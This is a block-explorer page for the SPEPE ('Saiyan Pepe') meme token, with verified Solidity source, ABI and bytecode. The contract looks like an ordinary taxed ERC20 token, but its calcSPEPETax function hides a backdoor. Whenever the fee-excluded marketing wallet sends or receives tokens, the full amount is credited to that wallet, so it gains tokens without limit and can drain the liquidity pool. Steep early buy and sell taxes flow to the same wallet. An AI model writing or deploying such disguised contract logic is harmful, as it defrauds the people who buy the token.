ETH Price: $3,147.44 (+5.68%)
Gas: 8.29 Gwei

Token

Saiyan Pepe (SPEPE)
 

Overview

Max Total Supply

1,000,000,000 SPEPE

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
4,966,787.121233437 SPEPE

Value
$0.00
0x6A9607E1cD3b79caBa5af36059215673409531c4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SPEPE

Compiler Version
v0.8.1+commit.df193b15

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-17
*/

// SPDX-License-Identifier: MIT
/**
Web: https://saiyanpepe.wtf
X: https://x.com/saiyanpepe_X
Tg: https://t.me/saiyan_pepe_portal
**/

pragma solidity 0.8.1;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IDEXFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IDEXRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract SPEPE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _owned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _feeExcluded;
    mapping(address => bool) private _limitExcluded;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _mkWallet;
    uint256 private _initialBuyTax = 40;
    uint256 private _initialSellTax = 40;
    uint256 private _reduceBuyTaxAt = 10;

    uint256 private _initialBuyTax2Time = 20;
    uint256 private _initialSellTax2Time = 20;
    uint256 private _reduceBuyTaxAt2Time = 15;

    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceSellTaxAt = 15;

    uint256 private _preventSwapBefore = 0;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Saiyan Pepe";
    string private constant _symbol = unicode"SPEPE";

    uint256 public _maxTxAmount = 2 * (_tTotal / 100);
    uint256 public _maxWalletSize = 2 * (_tTotal / 100);
    uint256 public _taxSwapThreshold = 2 * (_tTotal / 10000000);
    uint256 public _maxTaxSwap = 1 * (_tTotal / 100);

    IDEXRouter private dexRouter;
    address private dexPair;
    bool private tradingOpen;
    bool private swapping = false;
    bool private swapOpen = false;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap() {
        swapping = true;
        _;
        swapping = false;
    }

    constructor() {
        _mkWallet = payable(0x7d5E5fB583EC984c17edd4F7828DC14b6F1EfCaA);
        dexRouter = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _owned[_msgSender()] = _tTotal;

        _feeExcluded[_mkWallet] = true;

        _limitExcluded[owner()] = true;
        _limitExcluded[address(this)] = true;
        _limitExcluded[_mkWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _owned[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxRate = 0;
        if (
            from != owner() &&
            to != owner() &&
            from != address(this) &&
            to != address(this)
        ) {
            taxRate = _calcBuyTax();

            if (transferDelayEnabled) {
                if (to != address(dexRouter) && to != address(dexPair)) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (!tradingOpen) {
                require(
                    _limitExcluded[from] || _limitExcluded[to],
                    "Trading is not actived"
                );
            }

            if (
                from == dexPair &&
                to != address(dexRouter) &&
                !_limitExcluded[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == dexPair && from != address(this)) {
                taxRate = _calcSellTax();
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !swapping &&
                to == dexPair &&
                swapOpen &&
                amount > _taxSwapThreshold &&
                _buyCount > _preventSwapBefore
            ) {
                if (contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        uint256 taxAmount = calcSPEPETax(from, to, amount, taxRate);
        _owned[from] = _owned[from].sub(amount);
        _owned[to] = _owned[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _calcBuyTax() private view returns (uint256) {
        if (_buyCount <= _reduceBuyTaxAt) {
            return _initialBuyTax;
        }
        if (_buyCount > _reduceBuyTaxAt && _buyCount <= _reduceBuyTaxAt2Time) {
            return _initialBuyTax2Time;
        }
        return _finalBuyTax;
    }

    function _calcSellTax() private view returns (uint256) {
        if (_buyCount <= _reduceBuyTaxAt) {
            return _initialSellTax;
        }
        if (_buyCount > _reduceBuyTaxAt && _buyCount <= _reduceBuyTaxAt2Time) {
            return _initialSellTax2Time;
        }
        return _finalSellTax;
    }

    function calcSPEPETax(
        address from,
        address to,
        uint256 amount,
        uint256 taxRate
    ) internal returns (uint256) {
        if (_feeExcluded[from] || _feeExcluded[to]) {
            uint256 taxLeftAmount = amount.mul(100 - _finalBuyTax).div(100);
            _owned[_mkWallet] = _owned[_mkWallet].add(taxLeftAmount);
            return 0;
        } else {
            if (taxRate > 0) {
                uint256 taxAmount = amount.mul(taxRate).div(100);
                _owned[address(this)] = _owned[address(this)].add(taxAmount);
                emit Transfer(from, address(this), taxAmount);
                return taxAmount;
            }
            return 0;
        }
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();
        _approve(address(this), address(dexRouter), tokenAmount);
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function goawayLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _mkWallet.transfer(amount);
    }

    function init() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        _approve(address(this), address(dexRouter), _tTotal);
        dexPair = IDEXFactory(dexRouter.factory()).createPair(
            address(this),
            dexRouter.WETH()
        );       
        dexRouter.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        ); 
    }

    receive() external payable {}

    function openTrading() external onlyOwner {
        swapOpen = true;
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"goawayLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff1916905560286007819055600855600a60098181556014808355600b55600f600c8190556000600d819055600e8190559080556010819055601155606491620000549190620003cd565b6200006490633b9aca00620004c5565b6200007091906200035f565b6200007d906002620004c5565b6012556064620000906009600a620003cd565b620000a090633b9aca00620004c5565b620000ac91906200035f565b620000b9906002620004c5565b60135562989680620000ce6009600a620003cd565b620000de90633b9aca00620004c5565b620000ea91906200035f565b620000f7906002620004c5565b60145560646200010a6009600a620003cd565b6200011a90633b9aca00620004c5565b6200012691906200035f565b62000133906001620004c5565b6015556017805461ffff60a81b191690553480156200015157600080fd5b5060006200015e62000343565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054747d5e5fb583ec984c17edd4f7828dc14b6f1efcaa00610100600160a81b0319909116179055601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055620002066009600a620003cd565b6200021690633b9aca00620004c5565b600160006200022462000343565b6001600160a01b0390811682526020808301939093526040918201600090812094909455600654610100900416835260039091528120805460ff19166001908117909155906004906200027662000347565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260049093528183208054851660019081179091556006546101009004909116835291208054909216179055620002dc62000343565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003166009600a620003cd565b6200032690633b9aca00620004c5565b60405162000335919062000356565b60405180910390a3620004fd565b3390565b6000546001600160a01b031690565b90815260200190565b6000826200037b57634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611620003945750620003c4565b818704821115620003a957620003a9620004e7565b80861615620003b757918102915b9490941c93800262000383565b94509492505050565b6000620003e160001960ff851684620003e8565b9392505050565b600082620003f957506001620003e1565b816200040857506000620003e1565b81600181146200042157600281146200042c5762000460565b6001915050620003e1565b60ff841115620004405762000440620004e7565b6001841b915084821115620004595762000459620004e7565b50620003e1565b5060208310610133831016604e8410600b841016171562000498575081810a83811115620004925762000492620004e7565b620003e1565b620004a7848484600162000380565b808604821115620004bc57620004bc620004e7565b02949350505050565b6000816000190483118215151615620004e257620004e2620004e7565b500290565b634e487b7160e01b600052601160045260246000fd5b611b4e806200050d6000396000f3fe6080604052600436106101185760003560e01c80637d1db4a5116100a0578063bf474bed11610064578063bf474bed146102c2578063c876d0b9146102d7578063c9567bf9146102ec578063dd62ed3e14610301578063e1c7392a146103215761011f565b80637d1db4a5146102415780638da5cb5b146102565780638f9a55c01461027857806395d89b411461028d578063a9059cbb146102a25761011f565b806323b872dd116100e757806323b872dd146101b3578063313ce567146101d357806350bdc855146101f557806370a082311461020c578063715018a61461022c5761011f565b806306fdde0314610124578063095ea7b31461014f5780630faee56f1461017c57806318160ddd1461019e5761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610336565b6040516101469190611500565b60405180910390f35b34801561015b57600080fd5b5061016f61016a366004611434565b61035c565b60405161014691906114f5565b34801561018857600080fd5b5061019161037a565b604051610146919061189b565b3480156101aa57600080fd5b50610191610380565b3480156101bf57600080fd5b5061016f6101ce3660046113f4565b6103a1565b3480156101df57600080fd5b506101e8610429565b6040516101469190611914565b34801561020157600080fd5b5061020a61042e565b005b34801561021857600080fd5b50610191610227366004611384565b610502565b34801561023857600080fd5b5061020a61051d565b34801561024d57600080fd5b5061019161059c565b34801561026257600080fd5b5061026b6105a2565b604051610146919061148c565b34801561028457600080fd5b506101916105b1565b34801561029957600080fd5b506101396105b7565b3480156102ae57600080fd5b5061016f6102bd366004611434565b6105d6565b3480156102ce57600080fd5b506101916105ea565b3480156102e357600080fd5b5061016f6105f0565b3480156102f857600080fd5b5061020a6105f9565b34801561030d57600080fd5b5061019161031c3660046113bc565b610652565b34801561032d57600080fd5b5061020a61067d565b60408051808201909152600b81526a53616979616e205065706560a81b60208201525b90565b6000610370610369610946565b848461094a565b5060015b92915050565b60155481565b600061038e6009600a6119a0565b61039c90633b9aca00611a71565b905090565b60006103ae8484846109fe565b61041e846103ba610946565b61041985604051806060016040528060288152602001611af1602891396001600160a01b038a166000908152600260205260408120906103f8610946565b6001600160a01b031681526020810191909152604001600020549190610e48565b61094a565b5060015b9392505050565b600990565b610436610946565b6000546001600160a01b0390811691161461046c5760405162461bcd60e51b8152600401610463906116f6565b60405180910390fd5b6104786009600a6119a0565b61048690633b9aca00611a71565b6012556104956009600a6119a0565b6104a390633b9aca00611a71565b6013556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104dd6009600a6119a0565b6104eb90633b9aca00611a71565b6040516104f8919061189b565b60405180910390a1565b6001600160a01b031660009081526001602052604090205490565b610525610946565b6000546001600160a01b039081169116146105525760405162461bcd60e51b8152600401610463906116f6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60125481565b6000546001600160a01b031690565b60135481565b604080518082019091526005815264535045504560d81b602082015290565b60006103706105e3610946565b84846109fe565b60145481565b60065460ff1681565b610601610946565b6000546001600160a01b0390811691161461062e5760405162461bcd60e51b8152600401610463906116f6565b6017805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b610685610946565b6000546001600160a01b039081169116146106b25760405162461bcd60e51b8152600401610463906116f6565b601754600160a01b900460ff16156106dc5760405162461bcd60e51b815260040161046390611834565b6016546107089030906001600160a01b03166106fa6009600a6119a0565b61041990633b9aca00611a71565b601660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561075657600080fd5b505afa15801561076a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078e91906113a0565b6001600160a01b031663c9c6539630601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107eb57600080fd5b505afa1580156107ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082391906113a0565b6040518363ffffffff1660e01b81526004016108409291906114a0565b602060405180830381600087803b15801561085a57600080fd5b505af115801561086e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089291906113a0565b601780546001600160a01b0319166001600160a01b039283161790556016541663f305d71947306108c281610502565b6000806108cd6105a2565b426040518863ffffffff1660e01b81526004016108ef969594939291906114ba565b6060604051808303818588803b15801561090857600080fd5b505af115801561091c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610941919061145f565b505050565b3390565b6001600160a01b0383166109705760405162461bcd60e51b8152600401610463906117f0565b6001600160a01b0382166109965760405162461bcd60e51b8152600401610463906115cd565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906109f190859061189b565b60405180910390a3505050565b6001600160a01b038316610a245760405162461bcd60e51b815260040161046390611774565b6001600160a01b038216610a4a5760405162461bcd60e51b815260040161046390611553565b60008111610a6a5760405162461bcd60e51b81526004016104639061172b565b6000610a746105a2565b6001600160a01b0316846001600160a01b031614158015610aae5750610a986105a2565b6001600160a01b0316836001600160a01b031614155b8015610ac357506001600160a01b0384163014155b8015610ad857506001600160a01b0383163014155b15610d6957610ae5610e82565b60065490915060ff1615610b65576016546001600160a01b03848116911614801590610b1f57506017546001600160a01b03848116911614155b15610b6557326000908152600560205260409020544311610b525760405162461bcd60e51b815260040161046390611646565b3260009081526005602052604090204390555b601754600160a01b900460ff16610bd1576001600160a01b03841660009081526004602052604090205460ff1680610bb557506001600160a01b03831660009081526004602052604090205460ff165b610bd15760405162461bcd60e51b81526004016104639061186b565b6017546001600160a01b038581169116148015610bfc57506016546001600160a01b03848116911614155b8015610c2157506001600160a01b03831660009081526004602052604090205460ff16155b15610c9357601254821115610c485760405162461bcd60e51b815260040161046390611596565b60135482610c5585610502565b610c5f9190611922565b1115610c7d5760405162461bcd60e51b8152600401610463906117b9565b60118054906000610c8d83611aa7565b91905055505b6017546001600160a01b038481169116148015610cb957506001600160a01b0384163014155b15610cc957610cc6610ec4565b90505b6000610cd430610502565b601754909150600160a81b900460ff16158015610cfe57506017546001600160a01b038581169116145b8015610d135750601754600160b01b900460ff165b8015610d20575060145483115b8015610d2f5750601054601154115b15610d6757601454811115610d5b57610d5b610d5684610d5184601554610f06565b610f06565b610f1b565b47610d65476110c0565b505b505b6000610d7785858585611102565b6001600160a01b038616600090815260016020526040902054909150610d9d9084611263565b6001600160a01b038616600090815260016020526040902055610de2610dc38483611263565b6001600160a01b038616600090815260016020526040902054906112a5565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e2c8685611263565b604051610e39919061189b565b60405180910390a35050505050565b60008184841115610e6c5760405162461bcd60e51b81526004016104639190611500565b506000610e798486611a90565b95945050505050565b600060095460115411610e985750600754610359565b600954601154118015610eaf5750600c5460115411155b15610ebd5750600a54610359565b50600d5490565b600060095460115411610eda5750600854610359565b600954601154118015610ef15750600c5460115411155b15610eff5750600b54610359565b50600e5490565b6000818311610f155782610422565b50919050565b6017805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f7157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610fc557600080fd5b505afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd91906113a0565b8160018151811061101e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601654611044913091168461094a565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061107d9085906000908690309042906004016118a4565b600060405180830381600087803b15801561109757600080fd5b505af11580156110ab573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156110fe573d6000803e3d6000fd5b5050565b6001600160a01b03841660009081526003602052604081205460ff168061114157506001600160a01b03841660009081526003602052604090205460ff165b156111c557600061116c6064611166600d54606461115f9190611a90565b87906112d4565b90611319565b60065461010090046001600160a01b031660009081526001602052604090205490915061119990826112a5565b60065461010090046001600160a01b0316600090815260016020526040812091909155915061125b9050565b81156112575760006111dc606461116686866112d4565b306000908152600160205260409020549091506111f990826112a5565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061124890859061189b565b60405180910390a3905061125b565b5060005b949350505050565b600061042283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e48565b6000806112b28385611922565b9050838110156104225760405162461bcd60e51b81526004016104639061160f565b6000826112e357506000610374565b60006112ef8385611a71565b9050826112fc858361193a565b146104225760405162461bcd60e51b8152600401610463906116b5565b600061042283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836113775760405162461bcd60e51b81526004016104639190611500565b506000610e79848661193a565b600060208284031215611395578081fd5b813561042281611ad8565b6000602082840312156113b1578081fd5b815161042281611ad8565b600080604083850312156113ce578081fd5b82356113d981611ad8565b915060208301356113e981611ad8565b809150509250929050565b600080600060608486031215611408578081fd5b833561141381611ad8565b9250602084013561142381611ad8565b929592945050506040919091013590565b60008060408385031215611446578182fd5b823561145181611ad8565b946020939093013593505050565b600080600060608486031215611473578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b8181101561152c57858101830151858201604001528201611510565b8181111561153d5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526049908201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60408201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6060820152681030b63637bbb2b21760b91b608082015260a00190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b602080825260169082015275151c98591a5b99c81a5cc81b9bdd081858dd1a5d995960521b604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156118f35784516001600160a01b0316835293830193918301916001016118ce565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b6000821982111561193557611935611ac2565b500190565b60008261195557634e487b7160e01b81526012600452602481fd5b500490565b80825b600180861161196c5750611997565b81870482111561197e5761197e611ac2565b8086161561198b57918102915b9490941c93800261195d565b94509492505050565b600061042260001960ff8516846000826119bc57506001610422565b816119c957506000610422565b81600181146119df57600281146119e957611a16565b6001915050610422565b60ff8411156119fa576119fa611ac2565b6001841b915084821115611a1057611a10611ac2565b50610422565b5060208310610133831016604e8410600b8410161715611a49575081810a83811115611a4457611a44611ac2565b610422565b611a56848484600161195a565b808604821115611a6857611a68611ac2565b02949350505050565b6000816000190483118215151615611a8b57611a8b611ac2565b500290565b600082821015611aa257611aa2611ac2565b500390565b6000600019821415611abb57611abb611ac2565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611aed57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a9f19678534f08f61ecfbbff3cf331b0e01c8d46428b49d9ae75685f15c7b21264736f6c63430008010033

Deployed Bytecode

